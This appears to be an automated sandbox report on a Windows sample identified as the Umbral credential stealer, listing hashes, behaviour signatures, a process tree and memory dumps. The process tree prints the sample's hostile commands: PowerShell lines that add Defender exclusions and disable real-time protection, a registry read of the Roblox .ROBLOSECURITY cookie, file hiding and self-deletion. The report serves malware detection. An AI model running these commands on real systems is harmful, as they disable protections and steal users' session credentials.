Overview

overview

10

Static

static

10

b5uEJHZB6Rl.exe

windows7-x64

10

b5uEJHZB6Rl.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    117s
  • max time network
    118s
  • platform
    windows7_x64
  • resource
    win7-20240708-en
  • resource tags

    arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
  • submitted
    12-08-2024 01:47

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General

  • Target

    b5uEJHZB6Rl.exe

  • Size

    231KB

  • MD5

    438289fb9c72ed39bf5497f9af21ec7a

  • SHA1

    8120391ecb41ed6a4c6ef0b259776e59311d6997

  • SHA256

    ea4cb7c7b4cfb2fcc04d1c3f96b20c26638e69a97b15cae14659f0d6afb78f85

  • SHA512

    3647907fa2d503a242ef07cb20b081444b75e0c618a91232c8e77903b4b6aa823b8a7cbe07a45e02591fe48fdd23b5eae88565006b85863c0a5f6e42d7589fe0

  • SSDEEP

    6144:YloZM+rIkd8g+EtXHkv/iD4Bs4DdLocD/abtIEx6tb8e1mTiu:GoZtL+EP8Bs4DdLocD/abtIExq1

Score
10/10
umbralcredential_accessdiscoveryexecutionspywarestealer

Malware Config

Signatures

  • Detect Umbral payload 1 IoCs
  • Umbral

    Umbral stealer is an opensource moduler stealer written in C#.

    stealerumbral
  • Credentials from Password Stores: Credentials from Web Browsers 1 TTPs

    Malicious Access or copy of Web Browser Credential store.

    credential_accessstealer
  • Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

    Using powershell.exe command.

    execution
  • Drops file in Drivers directory 1 IoCs
  • Deletes itself 1 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

    discovery
  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 38 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 58 IoCs
  • Suspicious use of SendNotifyMessage 58 IoCs
  • Suspicious use of WriteProcessMemory 39 IoCs
  • Views/modifies file attributes 1 TTPs 1 IoCs
    evasion

Processes

  • C:\Users\Admin\AppData\Local\Temp\b5uEJHZB6Rl.exe
    "C:\Users\Admin\AppData\Local\Temp\b5uEJHZB6Rl.exe"
    1⤵
    • Drops file in Drivers directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1908
    • C:\Windows\System32\Wbem\wmic.exe
      "wmic.exe" csproduct get uuid
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:2796
    • C:\Windows\system32\attrib.exe
      "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\b5uEJHZB6Rl.exe"
      2⤵
      • Views/modifies file attributes
      PID:2820
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\b5uEJHZB6Rl.exe'
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2644
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2552
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1252
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2360
    • C:\Windows\System32\Wbem\wmic.exe
      "wmic.exe" os get Caption
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:2816
    • C:\Windows\System32\Wbem\wmic.exe
      "wmic.exe" computersystem get totalphysicalmemory
      2⤵
        PID:2404
      • C:\Windows\System32\Wbem\wmic.exe
        "wmic.exe" csproduct get uuid
        2⤵
          PID:320
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
          2⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          PID:1760
        • C:\Windows\System32\Wbem\wmic.exe
          "wmic" path win32_VideoController get name
          2⤵
          • Detects videocard installed
          PID:1872
        • C:\Windows\system32\cmd.exe
          "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\b5uEJHZB6Rl.exe" && pause
          2⤵
          • Deletes itself
          • System Network Configuration Discovery: Internet Connection Discovery
          • Suspicious use of WriteProcessMemory
          PID:2128
          • C:\Windows\system32\PING.EXE
            ping localhost
            3⤵
            • System Network Configuration Discovery: Internet Connection Discovery
            • Runs ping.exe
            PID:3052
      • C:\Windows\system32\taskmgr.exe
        "C:\Windows\system32\taskmgr.exe"
        1⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious behavior: GetForegroundWindowSpam
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of SendNotifyMessage
        PID:596

      Network

      MITRE ATT&CK Enterprise v15

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      Downloads

      • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
        Filesize

        7KB

        MD5

        4e92a46a7776fda348fdb3cbce747dc3

        SHA1

        eee9b48b3c5b5d26e04a1765a15fd2d21ac1db72

        SHA256

        fc172099b71c4dcfef900ed70b8c13125fd5e98e030cd4e9fb279ae0a09857ad

        SHA512

        6085a2be0b0641f191085cd4ae329a81034cddc389a88273b126f7b7c68e0046ac9ec76aa6673bed793e9018a0b15315495527c1e792a1e20c1e17b1b43f381d

        Download Submit

      • memory/596-48-0x0000000140000000-0x00000001405E8000-memory.dmp

        Filesize

        5.9MB

        Download

      • memory/596-51-0x0000000140000000-0x00000001405E8000-memory.dmp

        Filesize

        5.9MB

        Download

      • memory/596-50-0x0000000140000000-0x00000001405E8000-memory.dmp

        Filesize

        5.9MB

        Download

      • memory/596-49-0x0000000140000000-0x00000001405E8000-memory.dmp

        Filesize

        5.9MB

        Download

      • memory/1760-43-0x00000000028E0000-0x00000000028E8000-memory.dmp

        Filesize

        32KB

        Download

      • memory/1908-1-0x0000000000380000-0x00000000003C0000-memory.dmp

        Filesize

        256KB

        Download

      • memory/1908-2-0x000007FEF5E10000-0x000007FEF67FC000-memory.dmp

        Filesize

        9.9MB

        Download

      • memory/1908-0-0x000007FEF5E13000-0x000007FEF5E14000-memory.dmp

        Filesize

        4KB

        Download

      • memory/1908-47-0x000007FEF5E10000-0x000007FEF67FC000-memory.dmp

        Filesize

        9.9MB

        Download

      • memory/2552-14-0x000000001B780000-0x000000001BA62000-memory.dmp

        Filesize

        2.9MB

        Download

      • memory/2552-15-0x00000000027D0000-0x00000000027D8000-memory.dmp

        Filesize

        32KB

        Download

      • memory/2644-8-0x00000000022D0000-0x00000000022D8000-memory.dmp

        Filesize

        32KB

        Download

      • memory/2644-7-0x000000001B710000-0x000000001B9F2000-memory.dmp

        Filesize

        2.9MB

        Download